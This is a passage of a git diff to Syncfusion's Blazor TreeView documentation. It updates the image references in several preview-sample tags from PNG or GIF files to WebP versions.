+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLIMjCUrigsqVBH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Child nodes](./images/child-nodes.webp)" %}
 
 ## Get Selected Nodes
 
@@ -563,7 +563,7 @@ The Blazor TreeView component provides the capability to select specific nodes d
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVyCZsALsQJGdJR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get selected nodes](./images/blazor-treeview-get-selected-nodes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVyCZsALsQJGdJR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get selected nodes](./images/blazor-treeview-get-selected-nodes.webp)" %}
 
 ## Select all nodes on load
 
@@ -665,7 +665,7 @@ In the Blazor TreeView component, you can select all TreeView nodes on initial r
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVSCtsqhCFWilwv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select all nodes on load](./images/select-allnode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVSCtsqhCFWilwv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select all nodes on load](./images/select-allnode.webp)" %}
 
 ## Select all Nodes Programmatically
 
@@ -769,7 +769,7 @@ To select all TreeView nodes on initial rendering, utilize the TreeView componen
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLesjiUBBWsNrVU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select all nodes programmatically](./images/select-allnode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLesjiUBBWsNrVU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select all nodes programmatically](./images/select-allnode.webp)" %}
 
 ## Select Individual Node Programmatically
 
@@ -864,7 +864,7 @@ To select a specific TreeView node programmatically, use a button click or other
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBoWXiAhhWdEIWA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select individual node programmatically](./images/blazor-treeview-select-individual-node-programmatically.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBoWXiAhhWdEIWA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Select individual node programmatically](./images/blazor-treeview-select-individual-node-programmatically.webp)" %}
 
 ## Retrieve Indices of Selected Nodes
 
@@ -1035,7 +1035,7 @@ In the Blazor TreeView component, you can display the index value of selected Tr
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLysNiqrLVLrOLk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Retrieve indices of selected nodes](./images/blazor-treeview-retrieve-indices-of-selected-nodes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLysNiqrLVLrOLk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Retrieve indices of selected nodes](./images/blazor-treeview-retrieve-indices-of-selected-nodes.webp)" %}
 
 ## Disable Full Row Selection
 
diff --git a/blazor/treeview/searching-and-filtering.md b/blazor/treeview/searching-and-filtering.md
index a74559c0f1..70c36f67c1 100644
--- a/blazor/treeview/searching-and-filtering.md
+++ b/blazor/treeview/searching-and-filtering.md
@@ -299,4 +299,4 @@ The Blazor TreeView component supports filtering its nodes through an external i
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrIsXMKhVJFHvwP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Searching and Filtering in Blazor TreeView Component](./images/blazor-treeview-searching-and-filtering.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrIsXMKhVJFHvwP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Searching and Filtering in Blazor TreeView Component](./images/blazor-treeview-searching-and-filtering.webp)" %}
diff --git a/blazor/treeview/template.md b/blazor/treeview/template.md
index b319caa304..f97f01351f 100644
--- a/blazor/treeview/template.md
+++ b/blazor/treeview/template.md
@@ -163,7 +163,7 @@ In the following sample, employee information such as employee photo, name, and
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrICtCABhRfFWww?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Template](./images/blazor-treeview-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrICtCABhRfFWww?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Template](./images/blazor-treeview-template.webp)" %}
 
 ## Apply Template to Header
 
@@ -324,4 +324,4 @@ The Blazor TreeView component provides the ability to customize the appearance o
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htheCZiqVVQMJDpI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Header Template](./images/blazor-treeview-template-header.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htheCZiqVVQMJDpI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Header Template](./images/blazor-treeview-template-header.webp)" %}
diff --git a/blazor/treeview/virtualization.md b/blazor/treeview/virtualization.md
index f2f500cc84..b67a0a20ee 100644
--- a/blazor/treeview/virtualization.md
+++ b/blazor/treeview/virtualization.md
@@ -79,6 +79,6 @@ The following sample shows the example of Virtualization.
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVSCNsUVVQcEAYN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Virtualization](./images/virtualization.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVSCNsUVVQcEAYN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Virtualization](./images/Virtualization.webp)" %}
 
 N> Virtualization is not compatible with expand and collapse animation. Select all action will select only visible items in UI.
\ No newline at end of file